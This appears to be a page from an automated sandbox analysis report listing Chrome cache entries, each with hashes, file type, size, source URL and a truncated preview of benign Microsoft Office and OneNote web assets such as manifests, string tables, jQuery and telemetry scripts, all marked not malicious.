SHA-512:	FCAE6C3CF1D6313627B5091B9114F4571B1F1FF12FA55E9F48AF93B53A6B1ED32F7DA3DCBFFB6CD24014A41D9A88A59460472605ABCCFF2FD44EE1EA061F206B
Malicious:	false
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/msit/100/manifest.json
Preview:	{"clientVersion":"20241023.3","files":{"owl.js":["owl.5713dd8afbcd714f28fb.js","sha384-w4e2GtnecI7J3LMVXJzsHNxebPy7aT5eorFnGxkjvCAt/pBRt1pbofeK0dzPIAQT"],"owl.slim.js":["owl.slim.b75c2de5eee34f898531.js","sha384-ednudu6TfjFwhkZuYthMr5PPzuHKFfsI5uXcZScO1mAAJix7QvFHYI5jX7b+/LVb"],"owlnest.js":["owlnest.3dbdabff73823ee499b6.js","sha384-cJfzZ5dQxnK32RfWUaF32UHBQWoX41lGjt285R0w1Sn2Wi7Gz9gx+oUTX/R7jiIV"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.84ad1713c0ea7a00165f.js","sha384-IGP7KkdMWrLtvWIOyhiHT4CpkQ0+GQ2oCY9ja2zWxsPbJyVuvBVlu8wMEEEUP32b"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3147
Entropy (8bit):	5.8734839640917516
Encrypted:	false
SSDEEP:	96:SRSHCReiZ1ZXsOyB+kRJR8V87+tHjihsBlapRMH:SDRTTtsOG+k+FZbapu
MD5:	DFE3652C1EA0FC667C2E2A4261CD64DF
SHA1:	943F0D0650C11D8386406397701B0CEF5E759AA3
SHA-256:	784545063730163ED3F249AA0285F8B06553C65E8BCA1AA01FE1C699175845F1
SHA-512:	D09C3AD8B1F88F26F58633FFCD759B7A262F9318AE6AE1E65B45676FBD87E8A9AA4AA7B077EA85D40F91E302053C1828097ADB73E1375973C9D14A8B0FA3CF98
Malicious:	false
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/production/100/manifest.json
Preview:	{"clientVersion":"20241022.4","files":{"owl.js":["owl.60b0607ba5126556995f.js","sha384-zDj3tmNYOwI2Am9oqiJuUbxIaqusrXTjzUd363HCfgg6i2ghsMasGwdCF60uMl6Q"],"owl.slim.js":["owl.slim.3fa2c9c3701ebced3bca.js","sha384-yahtC8hwk8GSYMODl/5HooFPYeo4GRkkrG0e5oCKKinnLifATz+1C343rSkOYQIn"],"owlnest.js":["owlnest.9b8213be8ac8f0683002.js","sha384-HLSNmHA5WyyRDQkWqjGHIqfG1jJbiJ9on/1ItCDW/s74A6I3NMUU+NURu6U2TFXr"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.4e8d8cd9eee1cfb3c162.js","sha384-AAafx3qf00WWge43xDnO9HBNP42FZ58TVQIzTmDaxtfYcm8vVw+OLV2Kv5bCi4TK"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	80074
Entropy (8bit):	5.058726158357534
Encrypted:	false
SSDEEP:	768:+pCmHr0AOKTnbhCxm6Mlm3bb0zBSWuEn047nNXcb7GLLWZWxWG6sS6bxiw:+pCydxgxmwj8NXcb7GLLCmWsSExn
MD5:	7E93C384B574C1D19DF910D525EC3789
SHA1:	EDF6EBFAF4A1F29E76B4094BB5B9DFB57388ECA6
SHA-256:	16AB414F8B420754EB7D8095EF2E2953C18C442E173B1CBC1603CB0E19F1CC95
SHA-512:	A64B7008BFA9F29EB26656137952E6C62DA50A80E071ED743B7A6468A2CF856A78A1F5CBE4A7562B1E130FF296C288744158AEF51BBDC576A87F4A265DDB2816
Malicious:	false
Preview:	Type.registerNamespace("Box4Intl");Box4Intl.Box4Strings=function(){};Box4Intl.Box4Strings.registerClass("Box4Intl.Box4Strings");Box4Intl.Box4Strings.l_OutlineResizeAlt="Resize the Outline";Box4Intl.Box4Strings.l_NavigationPaneContentsLabel="Notebook Contents";Box4Intl.Box4Strings.l_UntitledPageText="Untitled Page";Box4Intl.Box4Strings.l_UntitledSection="Untitled Section";Box4Intl.Box4Strings.l_NotebookPagesSection="General Pages";Box4Intl.Box4Strings.l_ProtoButtonText="New Page";Box4Intl.Box4Strings.l_SectionGroupAltText="Section Group";Box4Intl.Box4Strings.l_SectionGroupArrowAltText="Navigate Up";Box4Intl.Box4Strings.l_DefaultUserName="Unknown User";Box4Intl.Box4Strings.l_UserInitialsDelimeter="; ";Box4Intl.Box4Strings.l_PageLoadingText="Loading...";Box4Intl.Box4Strings.l_OreoSpinnerText="Loading Page...";Box4Intl.Box4Strings.l_ConflictPage="Conflict Page";Box4Intl.Box4Strings.l_PageAccessibilityContext="Page {0}";Box4Intl.Box4Strings.l_PageWithSearchResultsAccessibilityContext="Page

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41116)
Category:	downloaded
Size (bytes):	41140
Entropy (8bit):	5.513380748841639
Encrypted:	false
SSDEEP:	768:2ox/6ef5WhPJ76SqwRltw7u0kBQrKeTgVzVyh4Hs2V7M3B3:2i5WhIIl2K6VUhyhR2V74N
MD5:	08FBFF79B5EEC28DDFF4D772223B81A9
SHA1:	AAABD7E0B32698E8295139C4868E9AEE5EDBD112
SHA-256:	773A678845579E6334F19D4E62F29446E7898BD816359C74574E37884503F909
SHA-512:	F94A2C8D756313A616F4E3DBDB9661AF3CC843F74CF066243C649F943E4AEAB696E01E37E33CC57DF16F73504B529702D28C779931ADC2630C6D4FD318FFDDC7
Malicious:	false
URL:	https://cdn.onenote.net/officeaddins/161821840453_Scripts/CommonDiagnostics.js
Preview:	/! Version=16.0.0.0 /.if(!window)window=this;var Type=Function;window.Type=Type;Array.$F=function(a,b){a.push(b)};Array.clear=function(a){a.length=0};Array.$1n=function(a,b){return Array.$1L(a,b)>=0};Array.$1L=function(c,e,a){if(c.indexOf)return c.indexOf(e,a);a=a;if(isNaN(a))a=0;var d=c.length;if(isFinite(a))a=a\|0;if(a<0)a=Math.max(0,d+a);for(var b=a;b<d;b++)if(c[b]===e)return b;return-1};Array.dequeue=function(a){return a.shift()};Array.enqueue=function(a,b){Array.$F(a,b)};Array.$2O=function(b,c){var a=Array.$1L(b,c);a>=0&&Array.$1y(b,a);return a>=0};Array.$1y=function(a,b){a.splice(b,1)};Array.__typeName="Array";Array.$1c=true;Boolean.__typeName="Boolean";Boolean.$1c=true;Date.$26=function(f,c){for(var d=0,a=false,b=0,g=f.length;b<g;b++){var e=f.charAt(b);switch(e){case"'":if(a)c.$0("'");else d++;a=false;break;case"\\":a&&c.$0("\\");a=!a;break;default:c.$0(e.toString());a=false}}return d};Date.$2E=function(a,b){if(!b)b="F";if(b.length===1)switch(b){case"d":return a.ShortDatePatter

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	567080
Entropy (8bit):	5.293882251364021
Encrypted:	false
SSDEEP:	6144:QsU8F+Cr0McyWenNJqpjIT6F+8MX/izVc+2zcu55DgdhHdbKTgvuuVEL:QsU8MCr0MfYwO+8MX/iG3ysTgvur
MD5:	D0088929A1883CDCE38D9FF173DA5D0E
SHA1:	525C99223C38786C06433DD7C18AD4C7731A950F
SHA-256:	DA5BE621BA6D7C6398D682ADF7B923924C904B2593190FF0DF8E8679EAA02788
SHA-512:	3040E5E3C0D82BFDD4122E293CE2D0336681E03D20F0D6AEADD0289A880F10C86B6A6483F968C0ACC35839E6E73314CB3768FD9B4D72E6D76194BFAE3C3247F2
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/al.min.js
Preview:	!function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).augLoop=e()}}((function(){return function e(t,n,o){function r(a,s){if(!n[a]){if(!t[a]){var u="function"==typeof require&&require;if(!s&&u)return u(a,!0);if(i)return i(a,!0);var c=new Error("Cannot find module '"+a+"'");throw c.code="MODULE_NOT_FOUND",c}var l=n[a]={exports:{}};t[a][0].call(l.exports,(function(e){return r(t[a][1][e]\|\|e)}),l,l.exports,e,t,n,o)}return n[a].exports}for(var i="function"==typeof require&&require,a=0;a<o.length;a++)r(o[a]);return r}({1:[function(e,t,n){"use strict";var o=e("exportStarHelper");Object.defineProperty(n,"__esModule",{value:!0}),o(e(2),n)},{2:2}],2:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.isStopWorkflowMessage=n.setStopAndFilterWorkflowMessage=n.setMessageE

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30497), with no line terminators
Category:	downloaded
Size (bytes):	30497
Entropy (8bit):	5.0064253326064065
Encrypted:	false
SSDEEP:	384:NpM3QZmZwe3CDLqHOGRvCEWMYdd9KaAQnzkY65dv:NpM3QZbLqHO4XYdd9KvQnzkY65dv
MD5:	E55F3C2F2F2F2A339E4B0A08030E9803
SHA1:	729D608C534829E07F5DCDBBD75BBC031A9E9D9A
SHA-256:	40CBE329851D4261E0E4A3B3665FD1025747AAC3CBFD87689CF3F2689CACF4E9
SHA-512:	CB67A880ECAA6F59844F6604BB98A7E27AB64F639AC79BA683C164A2A809BFAF1D3B224CC50138846B8646EF05409820AEE490BA83D637145E16A78E67CF4847
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/h40CBE329851D4261_App_Scripts/1033/WoncaIntl.js
Preview:	Type.registerNamespace("WoncaIntl");WoncaIntl.WoncaStrings=function(){};WoncaIntl.WoncaStrings.registerClass("WoncaIntl.WoncaStrings");WoncaIntl.WoncaStrings.L_RibbonLabel="Ribbon";WoncaIntl.WoncaStrings.L_TabHome="Home";WoncaIntl.WoncaStrings.L_TabInsert="Insert";WoncaIntl.WoncaStrings.L_TabWordDesign="Design";WoncaIntl.WoncaStrings.L_TabReferences="References";WoncaIntl.WoncaStrings.L_TabMailings="Mailings";WoncaIntl.WoncaStrings.L_TabReview="Review";WoncaIntl.WoncaStrings.L_TabView="View";WoncaIntl.WoncaStrings.L_TabDeveloper="Developer";WoncaIntl.WoncaStrings.L_TabAddIns="Add-ins";WoncaIntl.WoncaStrings.L_TabTableTools="Table Tools";WoncaIntl.WoncaStrings.L_TabLayout="Layout";WoncaIntl.WoncaStrings.L_TabPictureTools="Picture Tools";WoncaIntl.WoncaStrings.L_TabFormatPicture="Format";WoncaIntl.WoncaStrings.L_TabDesign="Design";WoncaIntl.WoncaStrings.L_TabHelp="Help";WoncaIntl.WoncaStrings.L_GroupUndoRedo="Undo";WoncaIntl.WoncaStrings.L_GroupClipboard="Clipboard";WoncaIntl.WoncaString

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	dropped
Size (bytes):	112261
Entropy (8bit):	5.13097356220368
Encrypted:	false
SSDEEP:	1536:F3aTm6ALG5SH04NcnOxtCDpdziaoIl3fKF1cEilqVcAd:wa+nuE2aoIl3fK4lCc8
MD5:	1DC889AC693F912C263AA6D27A258A93
SHA1:	B2100EA2AEE5ED5FD90E0331F26160CDD5D1B002
SHA-256:	9224E5240ABC039D55CB765EA6611F07BA95F5E59C05DA325C968470946C6E52
SHA-512:	49654A757D9C5CFD838848AF856B2A0D9FE9960CEED297E4244F948E42441506B7502DBED1236448BFF09EF4444FDF20A25197DC7E55FC4394EB2ED70CB1B0ED
Malicious:	false
Preview:	var onenoteink;(()=>{"use strict";var t={699:t=>{var e,i="object"==typeof Reflect?Reflect:null,n=i&&"function"==typeof i.apply?i.apply:function(t,e,i){return Function.prototype.apply.call(t,e,i)};e=i&&"function"==typeof i.ownKeys?i.ownKeys:Object.getOwnPropertySymbols?function(t){return Object.getOwnPropertyNames(t).concat(Object.getOwnPropertySymbols(t))}:function(t){return Object.getOwnPropertyNames(t)};var o=Number.isNaN\|\|function(t){return t!=t};function s(){s.init.call(this)}t.exports=s,t.exports.once=function(t,e){return new Promise((function(i,n){function o(i){t.removeListener(e,s),n(i)}function s(){"function"==typeof t.removeListener&&t.removeListener("error",o),i([].slice.call(arguments))}g(t,e,s,{once:!0}),"error"!==e&&function(t,e,i){"function"==typeof t.on&&g(t,"error",e,{once:!0})}(t,o)}))},s.EventEmitter=s,s.prototype._events=void 0,s.prototype._eventsCount=0,s.prototype._maxListeners=void 0;var r=10;function a(t){if("function"!=typeof t)throw new TypeError('The "listener

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, hotspot @16x16
Category:	downloaded
Size (bytes):	4286
Entropy (8bit):	0.3626382302432769
Encrypted:	false
SSDEEP:	3:GlFFHvDllfl/t+lVsu/jXpRq/uXJRi/uXZRi/uXJRq/uX3XXRLtutpaKsx67YTsD:Gl/qlOeTjq2Di2Ti2Dq2nBL4OxhG5
MD5:	04D59A1FFDA7020CBDA1BB9FCBF0BCA0
SHA1:	E0CACE5751F02AF9E12B3C066FFD542F3D12A279
SHA-256:	EDC250E23E06AE7D15C1C19FDF9C6759129796B0A2F76DC82DF665C823C7B495
SHA-512:	A997D4384DA8D401321C497F49F73F0C79C1815DFD8B679458385D4E4A8ED2F645DDCF940A9347EA35F2D7AD3EE710F06784E8E1B1461AB7E8633BFF0FE0A691
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_resources/1033/pen_32x32.cur
Preview:	...... ..............(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89493
Entropy (8bit):	5.289599913770796
Encrypted:	false
SSDEEP:	1536:YjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h5cApwEjOPrBeU6QLiTFbc0QlQvakF:YYh8eip3hXuf6IidlrvakdtQ47GK1
MD5:	12108007906290015100837A6A61E9F4
SHA1:	1D6AE46F2FFA213DEDE37A521B011EC1CD8D1AD3
SHA-256:	C4DCCDD9AE25B64078E0C73F273DE94F8894D5C99E4741645ECE29AEEFC9C5A4
SHA-512:	93658F3EB4A044523A7136871E125D73C9005DA44CE09045103A35A4F18695888ECAFE2F9C0D0FA741B95CC618C6000F9AD9AFFC821A400EA7E5F2C0C8968530
Malicious:	false
Preview:	/! jQuery v3.5.0 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (4207), with CRLF line terminators
Category:	dropped
Size (bytes):	4212
Entropy (8bit):	5.732834657954366
Encrypted:	false
SSDEEP:	48:Rm/hpTwpHpypYYqeQkpYYFNtjEYtDE0kypOKeklKVuAmM3oVKCM3j++j+xUJo8/q:iyzh0QYtD5o6Im+n36+jLXYKMVp/
MD5:	5780200B7FE28C3F2C46864A012246E5
SHA1:	03A13FDC8A8CC7DBECE15E23105EA6E870105133
SHA-256:	0EF96689F29280B58D5024539DFE352EC9DD520CA1EDA5E24F0AEBD31DE0A560
SHA-512:	4FCC868D4E3401728FE4AEBB2AF8D2DB937309EA98EB916E02CF85E61504170C5B7B62C3169D4BE130363552063B1232575CDD9863026CAB2816DA96BD03AD26
Malicious:	false
Preview:	.<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title></title><script type="text/javascript"> var l_ErrorImageAlt_Text = "The service is unavailable"; var l_ErrorHeader_Text = "Service Unavailable"; var l_ErrorLine1_Text = "We are currently experiencing technical difficulties."; var l_ErrorLine2_Text = "Please try again later."; var l_ErrorHeaderStyle_Text = "font-family: calibri, tahoma, verdana, arial, sans serif; font-size: 18pt; color: #444444; line-height: 150%"; var l_ErrorTextStyle_Text = "font-family: calibri, tahoma, verdana, arial, sans serif; font-size: 10pt; color: #444444"; var language = "en-us"; function writeLocalizedErrorMessage() { getBrowserLanguage(); loadScript(); try{ if(window.parent.g_enableFramePageErrorReporting) { const message = { MessageId: "Wac_AppFailed", SendTim

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.424838340729845
Encrypted:	false
SSDEEP:	6:Yq0qjbQr6pjLpsSFHWD7XvZPP7BA02Jhv788aH8zrpHqYw8Ve0pcVlhIvY:Yq0+0mtiSFH4137BA0chDgarpHuSkXR
MD5:	D439C3E4CAB3E968F639834D965E867B
SHA1:	ACDEE34C9A94AD63CC24F1DF5873C19BA85FB52B
SHA-256:	9FB1B133F4E440A07DAC01F45018E680127B86CE5E506089C95DC510FD0C6A72
SHA-512:	E5D02FFDB570AC76E92738539E721E69E44F3310EB325BEED089F26A67F661D384607114F76AD774799C899DADA9953D3BC8E5C0D5C7D5585AC11B1A6C83C4DB
Malicious:	false
Preview:	{"OneShell":{"UpdatedConsumerAppList":true,"M365StartEnabled":true,"DisableM365StartIntentsModule":false,"default":true},"Headers":{"ETag":"\"8M6C3IBLtb8mwT1KNreplkZ/i0rFbbeiyWPkxzwWrg0=\"","Expires":"Fri, 25 Oct 2024 09:19:19 GMT","CountryCode":"US","StatusCode":"200"},"ConfigIDs":{"OneShell":"P-R-1157040-4-8,P-R-1131228-4-17,P-D-1117449-1-4"}}

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2224), with no line terminators
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	5.029670917384203
Encrypted:	false
SSDEEP:	48:iYyhna6311NDG9e1ctrSmz6usES0da3RhRDh79nFzFnpR4RYhQyYSI:iYenaUG0aB+qahhRDh79nFzFn/cYhQy4
MD5:	96EC242EA2E25558F7EC13FA88D9D793
SHA1:	B0BB7F6BD5206CC1FFB572CBD4A6AD2F88D42433
SHA-256:	850C54CE960E710757379C19601C65C00CF7D485063115F34AA30AE193CCEA43
SHA-512:	8C732012F96C7A9B4434F1BC27262A07080F05FCDF54E64B9CB4F37C20D3D8A85FAC2387C934798056D137B03F918D5CE4847C835CC013EDD4485686993D5F4F
Malicious:	false
Preview:	OfficeBrowserFeedback.setUiStrings({FeedbackSubtitle:"Send Feedback to Microsoft",PrivacyStatement:"Privacy Statement",Form:{CommentPlaceholder:"Please do not include any confidential or personal information in your comment",CategoryPlaceholder:"Select a category (optional)",EmailPlaceholder:"Email (optional)",RatingLabel:"Rating",ScreenshotLabel:"Include screenshot",Submit:"Submit",Cancel:"Cancel",EmailCheckBoxLabel:"You can contact me about this feedback",PrivacyConsent:"IT admins for your organization will be able to view and manage your feedback data.",PrivacyLabel:"By pressing submit, your feedback will be used to improve Microsoft products and services. ",ScreenshotImgAltText:"Screenshot Preview"},SingleForm:{Title:"Please provide feedback"},SmileForm:{Anchor:"I like something",Title:"What did you like?"},FrownForm:{Anchor:"I don't like something",Title:"What did you not like?"},IdeaForm:{Anchor:"I have a suggestion",Title:"What do you suggest?"},BugForm:{Anchor:"File a bug",Titl

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	downloaded
Size (bytes):	668160
Entropy (8bit):	5.5355372812426
Encrypted:	false
SSDEEP:	12288:ytvFJBV6UM6CMqObamDngsO3RJaO90baVh0UdW9jC7ICWzTbXm7/:yfJtM6CMqObamDndO3gUdW9jC7ICWzTs
MD5:	2C09ECEDCC26D01D2BF6EB26E7B00702
SHA1:	CDC426462849F616786AD8ACD1BD9EA3E474248F
SHA-256:	41D3F17294A627E15FFA2323AB0F58925D2353255C532BCBAE87E9090E604D01
SHA-512:	36722CB26451515AB809C55F6E164C52D9B845BC467FAE5C216324CFD11749A6AC278C5D0C3770CF46FA71FC32D5BCF9BAA2A06A597FB1CCCEA6B7ADC54A495D
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/appChromeLazy.min.js
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17147
Entropy (8bit):	4.926675206527061
Encrypted:	false
SSDEEP:	384:r3GhH6oaSwSaPQsPq3Qf3/U/8vFwoJbr2wKodV4vzJ9YaikHcL2MQk7:rgzwSkQWjU/8BqOaikMKu
MD5:	8D75B8E85D749610931E168F2EFCF555
SHA1:	11410945A27700DBE941C030189C637792AAC2CE
SHA-256:	485A60AD5AF1CEFF60C50A9BFB08A03F0C42B984034A2255820356938B82B2A0
SHA-512:	EA2196C089F4F10ABB20FBDB41E097C67211734F1C1919595E163CB5D90EAD00DF8D44629ADF854F84C666B2C0D8916DDDDA2F6555F495FDCEAE1BAB5419ECA0
Malicious:	false
Preview:	{. "Microsoft": "Microsoft",. "FlexpaneCloseButton": "Close pane",. "Me_Header": "My account",. "MePhotoAriaLabel": "{0} {1} Current account's user photo",. "ChangePhotoAriaLabel": "{0} {1} Change the photo that appears in IM. This may open a new window.",. "MePhotoTitle": "Current account's user photo",. "ChangePhotoTitle": "Change the photo that appears in IM. This may open a new window.",. "AppLauncherAriaLabel": "App launcher opened",. "AppLauncherCloseAriaLabel": "Close the app launcher",. "AppLauncherHomeAriaLabel": "Microsoft 365, will be open in new tab",. "AppsModuleHeading": "Apps",. "Microsoft365": "Microsoft 365",. "AppsModuleAllApps": "All apps",. "AppsModuleAllAppsTooltip": "Open all apps",. "AllViewGroupShowMore": "Show More",. "AllViewGroupShowLess": "Show Less",. "AllViewBack": "Back",. "AllViewNewGroupHeading": "New",. "AllViewAdminSelectedGroupHeading": "Admin selected apps",. "AllViewMoreFirstPartyGroupHeading": "More from Microsoft",. "AllViewT

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32011), with CRLF line terminators
Category:	dropped
Size (bytes):	53853
Entropy (8bit):	5.500009921962495
Encrypted:	false
SSDEEP:	768:WFBlHId5vh+HExEP0HLVwU+megaBJpLGgVI3g6BifcqJMBSWDv6:WpHId5W0HLEagVIw6QXb
MD5:	5A8ED3646A340A247CD48F5732BAEA69
SHA1:	8A961A2C1461EB5CD8A9009911970824602F8B79
SHA-256:	C459EC1608D98A847AB4C83723E1C4B2DC6E58A7006D5566C529A93113C2EE62
SHA-512:	5421BC6C0EA27EE75F7B5633AA5757C62EE16C84E94099D301EEA9944131F8A26CE941711ACE5EFB66AD62FBD16460B31403A2B016E8CF72D1F025868CA838D8
Malicious:	false
Preview:	var clienttelemetry_build;!function(e){e.version="2.9.0"}(clienttelemetry_build\|\|(clienttelemetry_build={}));var Microsoft;!function(e){var t;!function(e){var t;!function(e){e[e.BT_STOP=0]="BT_STOP",e[e.BT_STOP_BASE=1]="BT_STOP_BASE",e[e.BT_BOOL=2]="BT_BOOL",e[e.BT_UINT8=3]="BT_UINT8",e[e.BT_UINT16=4]="BT_UINT16",e[e.BT_UINT32=5]="BT_UINT32",e[e.BT_UINT64=6]="BT_UINT64",e[e.BT_FLOAT=7]="BT_FLOAT",e[e.BT_DOUBLE=8]="BT_DOUBLE",e[e.BT_STRING=9]="BT_STRING",e[e.BT_STRUCT=10]="BT_STRUCT",e[e.BT_LIST=11]="BT_LIST",e[e.BT_SET=12]="BT_SET",e[e.BT_MAP=13]="BT_MAP",e[e.BT_INT8=14]="BT_INT8",e[e.BT_INT16=15]="BT_INT16",e[e.BT_INT32=16]="BT_INT32",e[e.BT_INT64=17]="BT_INT64",e[e.BT_WSTRING=18]="BT_WSTRING",e[e.BT_UNAVAILABLE=127]="BT_UNAVAILABLE"}(t=e.BondDataType\|\|(e.BondDataType={}));var n;!function(e){e[e.MARSHALED_PROTOCOL=0]="MARSHALED_PROTOCOL",e[e.MAFIA_PROTOCOL=17997]="MAFIA_PROTOCOL",e[e.COMPACT_PROTOCOL=16963]="COMPACT_PROTOCOL",e[e.JSON_PROTOCOL=21322]="JSON_PROTOCOL",e[e.PRETTY_JSON_PR

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5650)
Category:	downloaded
Size (bytes):	5651
Entropy (8bit):	5.908653284243523
Encrypted:	false
SSDEEP:	96:K0SHCReiZ1ZXsOyB+kRJR8V87+tHjihsBlapRMwV146tHfV14e6rH6FkuFkeE+pP:7RTTtsOG+k+FZbapPV1RV1BZ79n
MD5:	3DF34E6823F5251F3F7DD1A615219AFF
SHA1:	F40F0D471C03F98F1C493069ED75415DD636B905
SHA-256:	900418B149C3F940DF6DFCE7472FFC799AF3807D13521ACF43F6245A619FF776
SHA-512:	ADF07DEDEE1321C776D9377D31F6E82A4DF287C4A6966E13CE781DF0743B5DC82343ED7C7FAE18BC3BCECE59EEF1F35282FCDE5E4BBA1CAB03837603FDDF8824
Malicious:	false
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/production/50/manifest.js
